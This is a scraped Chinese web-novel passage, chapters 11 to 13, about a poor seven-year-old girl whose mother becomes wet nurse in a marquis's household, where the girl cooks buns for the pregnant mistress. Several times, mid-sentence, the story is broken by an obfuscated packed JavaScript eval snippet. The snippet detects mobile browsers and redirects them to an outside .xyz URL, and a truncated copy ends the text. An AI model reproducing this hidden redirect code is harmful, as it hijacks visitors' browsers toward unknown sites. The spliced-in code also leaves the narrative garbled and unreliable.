虽然许娘子和崔大山都趁孩子们睡着了再说这些，但是崔如英偶尔能听到。 从前抱怨发愁多，现在多是盼头，有了钱，许娘子就想给家里置办些东西，给孩子炒点肉吃。 银子有用，所以崔如英才盼着去侯府。 崔如英的心思许娘子也能察觉出来，她觉得女儿心已经不在家里了，许娘子放心不下。 侯府那是高门大户，是好，可是越是大户人家，里面的腌臜事就越多。 许娘子不放心，十三这晚坐在崔如英床前嘱咐了好些话，“三丫，是三娘子点头让你过去，否则娘肯定不带着你。大户人家好是好，可规矩也多，等咱们到了府中你不许乱跑，更不要乱看乱拿府上的东西。做人别的不说，得有骨气。 还有就是，安定侯府再好那也是别人家，咱们看看也就罢了，断不可生出为奴为婢的念头。你到时就陪三娘子说说话，等着她平安生产，娘照顾好小公子，就算尽了本分。 你不许在侯府乱跑，更不许惹是生非。” 明儿上午就得去侯府，许娘子得嘱咐清楚了。 崔如英看着许娘子，她一脸认真，生怕什么话漏了，更怕崔如英惹事儿，最怕的是她心飞走了，不认这个家。 崔如英道：“娘，你就放心吧，我不会乱走乱跑的，也不会犯错。” 为人母亲自是有操不完的心，许娘子摸了摸崔如英的脑袋：“明一早咱们就过去，你早点睡。” 崔如英道：“娘，要不要带些包子？就算不给陆三娘子，也可以分给别人吃，吃人嘴短，拿人手软。不是说还有一个奶娘的吗，带点东西也好行事儿。” 陆三娘子还未临盆，让许娘子现在就住进去只是随时准备着，这些日子若是许娘子愿意跑，还能回家喂六丫，每日两个时辰，足够来回了。 许娘子还真没想到这个，她点了点头，“成，快睡吧。” 明儿打算等崔大山出摊回来后，推车送她们母女去安定侯府，顺便认个路。 衣裳行李，俩人走着可带不过去。 天是一日比一日暖，崔如英在被子里，觉得暖融融的，已经好几天不吃包子了，明早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800774|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃包子也成。 月亮升起又落下，临近十五，浅蓝色的天空上还悬着月亮，好像缺一小块的玉盘。 崔如英一早起来刷牙梳洗，还换上了新衣，母女俩就等崔大山回来了就去侯府了。 只不过没等到崔大山，却等到了那日送母女俩回来的车夫。 陆三娘子今早想起来许娘子住在城南，还带着女儿，就让车夫来接一趟，头一回过来想来肯定有行李，城南到城北这么远呢，有辆车方便些。 许娘子受宠若惊，这崔如英让准备的包子就派上了用场。 许娘子给递了两个大包子，“大哥先坐一会儿，喝口热水，我们把东西弄上去就是。” 这么早过来车夫的确什么都没吃，有个包子委实是恰到好处了。 日后要是有来城南的事，可以问问用不用捎带东西。 马上就走了，许娘子又回屋看了眼六丫，一个多月的孩子，母女分别最是难受，可是也没办法，就看晚上能不能回来一趟再喂一喂。 搬好东西上了车，许娘子嘱咐二丫要照顾好妹妹，这才坐上马车前往安定侯府。 许娘子发现，带着崔如英来也有好处，若是她自己，这会儿指定得想孩子想得直哭，可崔如英在这儿，便哭不出来了。 女儿在，多了个伴儿。 崔如英看看这儿看看那儿的，穿过闹街，还给许娘子指了指崔大山和崔大郎。 两人做生意没有崔如英那么圆滑，但是本分做事儿，包子馅料也足，所以一直以来生意都不错。 只不过崔大山崔大郎忙着给人装包子，也没看见这边，许娘子把帘子放一下，让崔如英好好坐着。 坐着坐着，崔如英道：“娘，咱家有一日也要买马车。” 有个车真好。 崔家如今住着的房子当年五十多两买的，那还是攒了好几年才攒下来，买一辆马车要一百多两，许娘子都想不到家里赚一百多两是啥样。 那腰杆子，不得溜直。 许娘子笑了笑，没把这话当回事儿。马车走得很平稳，走路要半个多时辰，但坐上车一刻钟多就到了。 车是从侧门进去的，李嬷嬷在侧门守着，身边还跟着两个小厮。 二话没说，就帮着搬东西。 李嬷嬷走在前头，带人去燕归堂。 一边走，她一边对二人道：“许娘子和小娘子也住在燕归堂，屋子已经收拾好了，还有一位陈娘子，已经到了，你们就和她住在同一间厢房。” 两个奶娘住在一起也方便照应，到时陆三娘子生了孩子，俩人都要去小公子屋里照顾，在自己屋里没多长时间。 李嬷嬷在前头带路，许娘子一边听一边点着头，这说的都是规矩。 从侧门进去就是马房，过了马房，李嬷嬷一边走一边介绍，“前头是大房住的燕宁堂，往后走是二房的燕辉堂，再后头才是燕归堂。” 崔如英想，这话的深意是，别乱走。 燕归堂就是崔如英和许娘子上次来的院子，过去几日，院子里草木更加葱郁，院子门口站着两个婆子。 进去之后，崔如英发现，上次说话的地方是正厅，从侧边穿过正厅后，是个三进三出的院子。 影壁幽幽，青瓦白墙，窗扇大开，许娘子和崔如英就跟着李嬷嬷去了侧边的一间厢房。 进了厢房，迎面是张床，床边有柜子桌子，然后就是张木制屏风。 从里面出来一个微胖妇人，“这就是许娘子吧，我听李嬷嬷说过。” 11. 第十一章 初到侯府 陈娘子人微胖，头发用布巾包着，簪着根银钗子，手腕戴着对银镯，真个个人干净齐整，能看出是个做事爽利之人。 至于性子如何，还得相处过后才知道。 崔如英发现虽是一屋住俩人，可是两张床中间用屏风隔着，看起来也像两间屋子，陈娘子来的早些，挑了靠里面的，比外面的人来人往总被看见的好些。 许娘子不善言辞，便点了点头，崔如英仰头打了个招呼，“婶子好。” 陈娘子也看了看崔如英，“哎呦，你闺女模样可真俊呐。” 李嬷嬷道：“三娘子喜欢许娘子的女儿，叫过来陪着说说话，崔小娘子就跟许娘子住在一处。” 陈娘子笑了笑，“原来如此，姐姐好福气，有这么个灵透女儿。” 许娘子赶紧道：“哪里哪里。” 李嬷嬷把人送到了，事儿也算是办妥了，她道：“二位先收拾收拾，以后每日用饭会有人给送过来，隔三日就会有大夫来诊脉。其他的事儿像是出府……都可以来寻我，我若是不在可以找三娘子身边的大丫鬟锦月。” 陆三娘子还在养胎，就别去打搅了。 许娘子不停地点头，“李嬷嬷放心，该守的规矩我会守的。” 陈娘子也微微点头，“这些都记下了。” 李嬷嬷转身要走，崔如英赶紧给许娘子使眼色，许娘子差点忘了，赶紧从小厮搬过来的行李箱笼里拿出一个篮子，交到李嬷嬷手里，说道：“我们家做了点卖早饭的营生，这是早起刚包的包子，还热着呢，嬷嬷可以拿回去尝尝。” 怕李嬷嬷不要，许娘子又道：“不是多金贵的东西。” 李嬷嬷哪里看不到崔如英在下面给许娘子使眼色，这崔家的小娘子的确不一样，在这些事上比做大人的还要周全，人小鬼大，难怪三娘子执意要让她过来。 说起来这事差点没成，那日之后三爷回来了，得知还把奶娘的女儿请了过来就不太同意，孩子没个轻重，年纪小怕冲撞了陆三娘子的肚子。 陆三娘子却不认同，她觉得崔如英合她眼缘，况且也不是乱跑乱动的性子，那日跟她说了两刻钟多的话，半点不耐都没有。 才七岁，想想这个年纪的孩子，谁能坐得住，怕是没一会儿就想出去玩儿了。 李嬷嬷笑了笑，接过来，“许娘子太客气了，若有事随时找我就是。” 李嬷嬷走了，许娘子有些不好意思的冲陈娘子笑着笑，一篮子包子都给了李嬷嬷，自然不剩什么给陈娘子。 不过她俩都是做奶娘的，做好本分就是，也不必上赶着讨好。 陈娘子没说什么，微微点了个头，就绕过屏风收拾东西去了。 母女俩把被子衣裳都放好，早饭在家里吃过，这会儿也不饿。 没什么大事儿就专心等着午饭了，许娘子打算下午回家一趟，看看六丫再喂喂，来回二十里地，带着崔如英又怕她累，可不带又不放心。 崔如英不想回去，这才刚来，还不到一天呢，许娘子是要天天回的，那么远她可不成。还不如自己在这儿睡觉，床比家里的还软些，“娘，我留这儿吧，若是有要紧事，还有我呢。” 许娘子千叮咛万嘱咐，让她别乱跑。 崔如英点点头，“娘，你放心好了，再说了，我去哪儿跑呀。” 许娘子：“就在屋里等娘回来。” 崔如英再三保证，许娘子才放心。 临近正午，丫鬟来送饭，给许娘子和陈娘子送的饭都是补身子，毕竟要喂奶，里面有两样菜里还有药材。 给崔如英的就没那么多讲究，因为人小，给她的菜份量也小，两荤一素，外加一碗蒸蛋羹。 这伙食，的确比在崔家好上太多。 荤菜有一道是栗子炖鸡，还有一样是小炒肉，素菜是清炒豆腐丝，里面也有肉。送饭来的丫鬟晨起吃了包子，特意多嘱咐了两句，“许娘子，你的菜里加了药材，千万别给孩子吃。给小娘子的菜中有的放着辣椒，您还要喂奶，莫要碰这些。” 许娘子点了点头，这边丫鬟又去陈娘子那嘱咐了一遍。 崔如英咬了口鸡肉，侯府的厨子做菜自然不错，母女俩一块儿吃还有点意思，只不过头一回来，心里惦记着家中，许娘子胃口不太好。 一屋住俩人，崔如英声音压的底，“娘，你得多吃点儿。身子好了，到时才能喂小公子。” 许娘子点点头，把菜吃了大半，吃过饭后许娘子打算一会儿就回去，在这之前得跟李嬷嬷说一声。 至于那位陈娘子，崔如英也没盼着能和她有多深厚的感情，像许娘子这样老实本分最好，如果不是她也不怕。 陈娘子出门更早，把碗筷收了，没一会儿就出去了，再没回来。 躺了一刻钟多，许娘子就跟李嬷嬷打过招呼回崔家了。 崔如英睡了一会儿，醒来时正赶上李嬷嬷过来，说陆三娘子请她过去说话。 崔如英甜甜一笑，“嬷嬷，我刚起，等我收拾收拾就过去。” 本来陆三娘子没想今日叫崔如英过来说话，刚过来总得歇一歇，可是今儿早上她看见李嬷嬷给几个丫鬟分包子。 丫鬟吃完，眼睛都亮了。 怀了孕的人嘴馋，但好在侯府家世显赫，什么都能吃得上。可山珍海味吃多了，也想吃些清粥小菜。 陆云蓁平日也不缺吃的，偏偏今天看那包子觉得想吃。 想尝一个但李嬷嬷不放心，这外头做的，干不干净是一回事儿，这里面东西都不知道是啥，万一吃了对胎儿不好，谁也担待不起。 陆云蓁也明白这个道理，没有强求，不过等李嬷嬷吃完，她问包子的味道如何？李嬷嬷昧着良心说：“味道一般，也就那样。” 陆云蓁这下子是更想吃了，吃不到包子，看看卖包子家里的人也行，所以下午就叫着崔如英过来说话，李嬷嬷去了两次，第一次说崔如英在睡着，陆云蓁就让等等。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800775|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这孩子并非侯府下人，她也不是主子。 而且日后孩子出生，许娘子就是孩子的奶娘，生养之恩都是恩情，哪里能把许娘子的女儿当丫鬟使唤。 崔如英也不知道，只当是巧了，这洗了脸收拾干净才过去。 陆云蓁让丫鬟摆了小凳子，今日看着崔如英穿了新衣，衣袖上还绣着花，这样更顺眼多了，比补丁衣裳好看。 她问道：“刚过来，吃住可还习惯？” 崔如英道：“一切都好，三娘子放心就是。” 陆云蓁摸着肚子笑了笑，“若有不习惯的就和李嬷嬷说，当在自己家里。” 崔如英当然知道这是客气话，不过也笑着道：“嗯，在燕归堂处处妥当，比在自己家里还自在呢。” 谁都爱听好话，陆云蓁也不例外，她道：“各有各的好，听李嬷嬷说，你娘回去了？” 崔如英道：“我娘放心不下妹妹，就回去看看。” 妇人喂奶，也不是说有就有说无就无，陆云蓁的孩子还未出生，倘若许娘子不回去喂六丫，这奶也是白费了，而且也胀得慌。 陈娘子回去应该也是为了喂孩子。 陆云蓁现在乐意看母女和睦，她跟崔如英说了几句，才问：“听说你们家现在做卖早点的营生？” 这事儿没打算藏着，崔如英点点头，“现在单卖肉包子，生意还不错。” 她本想说三娘子喜欢带些给她吃，但是一想陆云蓁现在有孕在身，马上就临盆了，吃喝上不说谨慎万分，那也得小心注意着。 她千万别给崔家惹事儿。 崔如英道：“小本生意，虽然起早贪黑，不过比我爹做木匠活儿轻巧点。生意还成，家里人多，吃用也多，总得想点办法。” 陆云蓁却道：“生意不错，那说明包子做得好吃。” 崔如英往后坐了坐，小声道：“这人和人口味不一样，有人喜欢，有人不喜欢。就像中午送来的饭菜，我娘还想尝尝我的来着，但是炒肉辣辣的，我就没让。” 陆云蓁笑着道：“那等我生了孩子，你帮忙买几个可好？” 陆云蓁说话慢条斯理的，人又温柔，目前看很好说话，家里有点钱后崔如英想吃什么就得立马吃到，一个酱肉包，既然想吃何必等到生了孩子后。 崔如英想了个折中的法子，道：“三娘子想吃，哪里需要等到那时候，再说也不是多金贵的东西，三娘子很是照顾我和我娘，几个包子而已，还能跟你要钱。 我们穷人家的孩子当家早，这包子我也会做。不过我娘有孕时有些东西就碰不得，不然让李嬷嬷在旁边看着，我做给三娘子吃可好？” 这简直是正中陆云蓁下怀，可是崔如英是许娘子的女儿，这做菜都是下人做的事儿，按理说崔如英还是客人，哪儿有让客人做菜的道理。 陆云蓁赶忙摇摇头道：“这怎么使得。” 崔如英为了她能吃上才这么说，她哪儿能真的应下。 12. 第十二章 珍珠翡翠白玉碎金汤 崔如英笑着道：“三娘子，你这话就外道了，我也是觉得和你亲近，才想着做这些。” 她住在这里，吃饭活还有肉有菜呢，几个包子而已。 除此之外也不是没别的法子，拿钱买崔家的方子固然行，可陆三娘子不会开这个口。一月能赚五六两，崔如英也舍不得卖，更不放心卖。 两边都不开这个口，崔如英能做，自然是好。 陆云蓁道：“那就辛苦你了，李嬷嬷，你再端些点心茶水来，等崔小娘子吃完了再去。三……三丫，这还早，我也不急，今日请你来，是为了说话解闷儿。” 崔如英年纪小，有些话就算跟她说了也不懂。 陆云蓁一人嫁进来，楚庚元白日要上职，跟丫鬟们也说不上话，内宅高门也是水深火热，有个人说话，陆云蓁心里轻快些。 崔如英点点头，侯府的点心也不错。 本来桌上摆着点心的，但崔如英肚子不饿，就也没吃，这丫鬟又换了茶水，又端上了一盘枣泥酥，一盘儿豌豆黄。 陆云蓁道：“你快尝尝。” 给银子总归是不太妥当的，在这儿多吃些点心也好。 崔如英就拿了一块儿枣泥酥，入口香甜，点心得慢慢吃，不然吃着腻人，况且这是在别人家，她也不想一口吃好几块。 吃完枣泥酥，崔如英道：“三娘子，我去做包子吧。” 燕归堂小厨房有两个厨娘，一个擅长做炒菜，另一个是请来的面点师傅，发面是把好手，都不用崔如英操心。 活馅儿的时候，赵大娘把厨房能用的都找了出来，留锦月在厨房帮忙。 这是崔家的方子，留厨娘看着不合适，锦月是陆云蓁的陪嫁，这样谁都安心。 要是在崔家，包包子得寅时就起，买肉剁馅儿和面发面，但在安定侯府，崔如英做只管调个馅儿，包子有赵大娘。 崔如英在旁看着，赵大娘的确手巧，一个小包子，平平整整十八道褶儿。 包完，赵大娘问崔如英，“崔小娘子，这样差不多吧。” 崔如英道：“包子蒸也成，若是觉得不够好吃，可以试试做成水煎包。” 赵大娘擅做面食，包子点心都会，可从没听过水煎包，她道：“不然还是小娘子来吧。” 想来是崔家的手艺，家里的手艺向来是不外传的。 崔如英点点头，让厨娘找了一个稍微平点的铁锅，锅底刷上一层薄油，直接把带褶儿的那面贴锅底，褶儿多皮厚，哪怕煎的时间久一点，也不会糊了。 然后用面粉和水调个汁儿，倒进去慢慢煎着，到时做出来的包子外壳酥脆，加上崔如英调的馅料汤多，水煎包也会更好吃些。 这除了蒸包子，还有水煎生煎，甚至于还有烤包子，光卖包子这门营生，就足够崔家人过安稳日子了。 厨娘没看，但细细琢磨也能琢磨得差不多，不过她也只是琢磨一二，在侯府的日子好好的，也不会想着出去卖包子。 崔如英道：“包子小，可以再做点疙瘩汤，我娘在家就这样做着吃。” 赵大娘点了点头，“行，这样吃也行。” 不过陆云蓁吃，总得再做些别的，她擅长做面，其他的得王大娘来。 厨房就没崔如英的事了，她跟赵大娘说了声，就回了厢房。 回来没一会儿，有丫鬟过来把刚在陆云蓁那儿吃的这两盘点心给送了过来，“三娘子说，这点心崔小娘子先吃着，不够的话奴婢再去小厨房拿，崔小娘子千万别客气。” 崔如英点点头头，“替我谢过三娘子。” 丫鬟笑着道：“奴婢秋月，崔小娘子有事儿可以来寻我。” 崔如英想这应该也是吃过包子的，所以愿意行个方便。 点心崔如英没动，她又在床上躺了会儿，不多时许娘子就回来了，过午时走的，这会儿还未过申时。 来回不足两个时辰。 许娘子回家喂了六丫，又嘱咐崔大山把孩子们照顾好，就急急忙忙往侯府赶，生怕迟了。 看见桌上摆的点心，许娘子问：“三丫，哪儿来的点心丫？” 崔如英道：“娘，这就说来话长了，我就长话短说吧。三娘子想吃咱们家做的包子，但她现在怀有身孕，怕外面拿来的有孕妇不能吃的，所以我就帮了个小忙，给做弄了点包子馅儿，然后呢，三娘子就让丫鬟给拿了点心过来。” 许娘子：“这么点事儿还用拿点心，下次不许要了。” 崔如英：“娘，我们是来喂奶的，又不是做厨娘的，这样三娘子吃的也放心些。娘，你尝尝点心。” 点心不错，但是崔如英对这样的点心的没那么喜欢，不像肉，许久不吃会想。从前崔大山也往家里买过点心，这个比当初买的好吃多了。 许娘子尝了块儿枣泥酥，枣泥绵软，外皮酥脆，香甜得很。 许娘子看看崔如英，想说什么，话又堵在了嘴里，她想起家里还有好几个孩子呢。 崔如英道：“反正咱们也吃不完，娘你明儿回去，给二姐拿几块吧。” 许娘子哎了一声，“你想吃多留几块。” 崔如英一看许娘子欲言又止的，就是想说这些，她有的吃就行，多的给二丫也成。 许娘子没直接拿就行，毕竟这是陆三娘子给她的。 崔如英：“行，晚上饿了还能解馋。” 太阳已经快落山了，旁边的陈娘子还没回来。 说是两个时辰，因为陈娘子走得早，这会儿估计已经过了。 不过崔如英没放在心上，个人自扫门前雪，莫管他人瓦上霜。 天色微暗，陈娘子行色匆匆地从外头进来了，她看了眼崔如英母女，目光落在桌上的点心上。 陈娘子记着，这是侯府的盘子，跟中午吃饭的一样。 许娘子犹豫着，想问问陈娘子要不要尝尝，可到底是给女儿的，她也不好做主。 陈娘子又看了两眼，什么就没说就绕过屏风了，崔如英看了眼门口，屋子不小，住两个大人绰绰有余，只不过门是靠墙边开的。 这有人进来，尤其是陈娘子，什么都能看见。 崔如英小声道：“娘，不然让我爹也打一个这么大的屏风，咱们横着放这儿方便点儿。” 许娘子觉得这主意好，这陈娘子总往这边看，她还有些不自在。 天暗下来，丫鬟过来送晚饭。给许娘子送了鸡汤，小碗米饭外加三道菜，两荤一素。 给崔如英的是今天晚上做的包子，四只蒸包四只生煎，还有一碗金灿灿的疙瘩汤。 除此之外还有一杯牛奶，这些也足够一个孩子吃了。 包子崔如英不吃都知道是什么味道，她尝了口疙瘩汤，细碎的疙瘩好似珍珠，金色的是鸡蛋碎，侯府厨子手艺的确好，鸡蛋碎好像一片金箔，和疙瘩青菜融为一体。 喝一口，嫩滑绵软，像是在喝稀饭，但是比稀饭好喝多了。 许娘子做的是疙瘩汤，这个能叫珍珠翡翠白玉碎金汤。 崔如英喝着香浓，感觉还有一丝丝肉香，大约里面加了高汤。 蒸包崔如英没吃，但是尝了尝水煎包，那层壳煎的酥脆，一咬汁水四溢，这个馅儿做成水煎包也不错。 反正今儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800776|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许娘子也看见了，到时家里要卖，可以说是吃的时候就想到这么做，不算偷师，反正是她琢磨出来的。 水煎包和疙瘩汤，也算绝配。 相比之下，许娘子的饭菜就清淡多了，汤里带着股药味儿，她喝不太惯，可是要喂奶，还是给喝了。 正屋，陆云蓁晚上喝的疙瘩汤，吃了六个包子，包子不大，本来她还想多吃几个，可李嬷嬷在一旁劝道：“三娘子，如今这月份大了，肚子若再大，可就不好生了。” 楚庚元不在家中，做下人的自然得劝着些，这些日子朝中事忙，楚庚元回府都很晚了。 陆云蓁笑了笑，吃厨娘做的菜久了，也是许久没吃这么痛快。 她道：“今儿这汤做得也不错。” 还有些别的菜，不过陆云蓁没碰，一小碗疙瘩汤，几个包子就差不多了。 陆云蓁：“三爷回来之后，也给拿碗疙瘩汤，包子多拿几个，我觉得不错。” 陆云蓁话音刚落，门外楚庚元走了进来，一边走一边问：“什么不错？” 陆云蓁看着楚庚元露出一个笑，“说今天晚膳不错，三爷今天回来得怎么这么早，可用过饭了？没用过尝尝今儿的晚膳。” 楚庚元道：“你都这么说了，就算吃了也得再尝尝。” 陆云蓁对丫鬟道：“明月，传膳。” 疙瘩汤和热乎的包子很快端了上来，陆云蓁已经吃完了，这会儿跟楚庚元一块儿，光陪着他吃。她道：“这包子也算大有来头，你尝尝可合胃口？” 山珍海味都吃过，几个包子能有何奇妙之处，但楚庚元尝了水煎包之后神色微愣，“的确不错，当赏。” 陆云蓁怪道：“赏什么赏呀，这可不是厨娘做的。前些日子你不还说不该把许娘子的女儿一块接过来吗，这回又怎么说？你有所不知，这崔家做起了卖包子的营生，许娘子的女儿年纪虽小，但也难干，这包子馅儿就是她调的，水煎包也是出自她手。” 陆云蓁不禁笑了笑，“她是看我实在想吃，才帮忙做的，哪儿能赏，她是许娘子的女儿，并非府里下人。” 楚庚元有些诧异，“这么大一个孩子，竟然还会做菜。” 陆云蓁道：“你不知道，穷人家的孩子当家早，不过也并非所有人都如此，她性子好极了，你若见了，定会更诧异，咱们的孩子日后要是能有之一半我也就满意了。” 不说别人，娘家的外甥外甥女、大房的侄子、二房的侄女陆云蓁又不是没见过，男孩子混世魔王，女孩子娇惯得不像样。 去学堂念书还想方设法逃课呢。 喜欢崔如英，陆云蓁也不是平白无故就喜欢。 楚庚元笑了笑，新端上来的包子连着陆云蓁刚才没吃完剩的几个他全给吃了。他道：“难得入你眼，这样一来的确不能赏，不过可以送些东西，她一个孩子，肯帮忙是心地好。” 说完这句，楚庚元皱了皱眉，“不过……崔家家境如此，她在侯府定然比在崔家的日子好，可你若对她太好，对她来说反倒不是什么好事。” 再好也不是自己家，楚庚元怕生出旁的心思。 陆云蓁点了点头，这话没错，“嗯，我明白，不能害了她。你多吃些，小厨房还有呢。” 楚庚元道：“我吃饱了。两个奶娘可还本分？那小姑娘平日叫来说话就说说话，你喜欢最重要，不过你身子重，还是得离孩子远些。” “许娘子还不错……”陆云蓁皱了皱眉，“不过头一日看不出什么来，我还未临盆，等到时能照顾好孩子就是了。” 楚庚元明白，另一位奶娘怕是不如人意。 13. 第十三章 生子 许娘子是陆云蓁娘家表嫂给搭的线，而那位陈娘子，则是陆云蓁大嫂托人找的。 也看过，性子虽圆滑些，但爱干净，家里也查过，大体上算不错的。 自她有孕之后，婆母就总说，大嫂二嫂都是生养过的人，经验丰富，不懂的地方可以多问，也省着头一回有孕手忙脚乱。 婆母的确是好意，大嫂处处关心更无可指摘。只不过楚庚元的兄弟多，大哥既是庶子又是长子，后头婆母连着生了两个嫡子，便是楚庚元和府上二爷。 后头的弟弟小姑子也不少，侯府又家大业大，就导致这些兄弟妯娌面和心不和，说起来还不如小门小户的兄弟姊妹和睦。 这陈娘子今儿下午跟李嬷嬷说了一声就回家了，她家地段好些，来回半个多时辰，比崔家近，但偏偏回来的时辰晚，出府已经过两个时辰了。 这才头一日，李嬷嬷不太满意，就和陆云蓁说了此事，雇人自然都喜欢许娘子那样本分老实的。 可陆云蓁想着出门在外，又并非像她一样有石英钟能看着时辰，早一些晚一些，都无伤大雅。 况且母亲爱子之心人皆有之，说不准就因为孩子绊住了脚步。 尚未生产也不急，所以就没计较这事。再说了，一些小错不至于抓着不放，她还和兄弟妯娌住在一个府上，真要计较，又好像找她大嫂不痛快似的。 市井之家有市井之家的烦恼，深宅大院也有深宅大院的苦处，这些闲杂琐事惹得陆云蓁心烦，所以她才愿意跟崔如英说话，这样也开心些。 楚庚元道：“若是不尽心，还可再找。” 陆云蓁点点头，“夫君放心吧。” 夫妻俩坐着说了会儿话，楚庚元就扶着陆云蓁梳洗歇下。肚子越大，每日腰酸背疼，也心惊胆战，就怕哪一日发动了。 临盆之期近了，她吃得好，估计等不到产期。不过稳婆奶娘和大夫都已找好，也不担心。 次日一早，天有些阴沉，没一会儿就开始下小雨了。 崔如英在睡梦中好像听见雷声了，睁眼一看，一个人影摸着黑开门出去，然后许娘子也醒了。 天色还黑着，她睁眼看陈娘子披着衣服又从外面回来，见二人似乎醒了，说道：“三爷长得还一表人才了，家大业大，这人和人比不得……” 说完，咂咂嘴，又回去躺着了。 崔如英不禁想，侯府家大业大，那也是祖辈积累，有什么好比的。 她看了一眼许娘子，许娘子皱着眉，不知在想些什么。 “娘？” 许娘子小声道：“好像下雨了，可别出不了摊。” 城南城北十里多地，这城南下雨，城北没准儿也下。下了雨出不了摊也就罢了，就怕肉买了包子蒸了，结果临出门砸了雨点，那二百多个包子怎么吃的完？ 怎么能不发愁。 崔如英也跟着叹了口气，不仅种地是看老天爷脸色吃饭，连着做小本生意也是。 她道：“等雨停了咱们回去看看，若没下雨最好，若下了雨包子还蒸了，那就带回来吃。” 许娘子忧心忡忡地点了点头，这些日子都没下雨，希望崔大山别死脑筋。 母女俩说话声音不大，可陈娘子在旁边也能听到，她道：“哎呀，妹子，这做生意呀就是这样，得看老天爷脸色，哪儿有来大户人家做奶娘体面，风吹不着雨晒不着的。” 话还算是安慰人的话，可那语气听着让人牙痒痒。 索性这会儿也睡不着，崔如英道：“婶子说得对，对了，婶子昨儿也回家了，婶子家也在城南吗？” 陈娘子道：“我家住城东，我做奶娘也有些年头了，攒了些银子，就买了城东的宅子。大还宽敞，比城南那些小宅子的好一点，城南一间挨着一间，巷子窄得连马车都进不去，哎，倒不是说你们家小。” 崔如英道：“宅子本来就小，都不用婶子说。我们一家好几口挤着住，还是婶子家好。婶子，你家里孩子多大了？我娘就放心不下家里妹妹。” 陈娘子：“……丫头有啥不放心的，我这胎生的也是女儿，不过上一胎是大胖小子。” 崔如英点了点头，陈娘子家住在城东，家里孩子应该不少，因为做了好几年奶娘了。这胎是女儿，上胎是儿子，看她这样，估计前面也是女儿多。 不过现在也能回去喂喂她女儿，至少爱子之心有。 能一大早出去看安定侯府三爷，就知此人好热闹，眼热别人家，爱说嘴有些碎，其他的倒也还好。 她和许娘子别管有钱没钱，装得没钱些就行了。 至于陈娘子说的楚庚元，许娘子那时也没听到，就算听到也不会去看的。她担心家里的事儿，不愿多出去看热闹，不仅自己不去还拘着崔如英不让她出去。 跟陆三娘子说说话解闷儿也就罢了，但是三爷那边万万不许没规矩。 崔如英只七岁，还是个孩子，可是男女大防，三爷又是男主人，见了面都该避着，更何况出门去看。 早饭是丫鬟端来的，一如既往，许娘子的饭菜里有药膳，调养滋补身子之用，崔如英的是蒸点和粥。 吃过饭两人都没出去，雨断断续续下个不停，早春三月正是下雨的时候，许娘子这也才刚出月子，不便回家，但心里头一直担心。 一直到中午雨也没停，临近正午，秋月撑着伞过来，伞被收起放在门口，秋月进来道：“许娘子，你家夫君来了，说今儿早上城南雨下的大，就没出摊儿。他看雨一直没停，过来告诉你别担心，家里一切都好，今儿你就别回去了。” 许娘子松了口气，这样她也算放心了，“有劳秋月姑娘跑一趟。” 秋月说道：“人还在门口，我瞧着这雨也不小，还是让小厮去传个话，省得许娘子再跑一趟淋雨。” 许娘子点点头有劳了，“有劳了。” 崔大山那日没过来送母女俩，也不知道安定侯府在哪儿，搁以前让他打听张不开口，但是卖包子卖多了，胆子大了点儿。 再加上一个人过来的，只能自己来，一边问一边打听着找了过来。 崔如英没忘记点心，把早就挑好包起来的点心交给秋月，“姐姐，劳烦把这个交给我爹。昨儿的点心我一人吃不完，我二姐也喜欢吃甜的，让我爹带回去给她尝尝。” 好吃得包子陆云蓁还惦记楚庚元呢，崔如英惦记姐姐，还是好妹妹呢。 崔如英想对二丫好点，要是她不过来，还能帮着分担，但她过来侯府了，家里就得二丫多照看。 两个弟弟一个妹妹，虽然还有崔大山和崔大郎，轻巧不了。 秋月笑了笑把点心接过，“好。” 陈娘子在隔壁听着，那两盘子点心还真是府上的，也不知道这小丫头片子咋就得了三娘子的青眼，对她这么好。 下着雨，陈娘子也没出门，就在屋里躺着。 不过等吃过中午饭后雨小了点儿，她还是跟李嬷嬷告了声假，回家了。 许娘子今儿没回去，自然也没法告诉崔大山做屏风的事儿，不过陈娘子不在，母女俩还自在点。 下午崔如英没去正屋跟陆云蓁说话，陆云蓁要临盆了，这些日子就在燕归堂转转。 厢房在正屋后头，前头有啥事儿，除非像陈娘子那般出去看，否则根本不知道前面都发生了什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 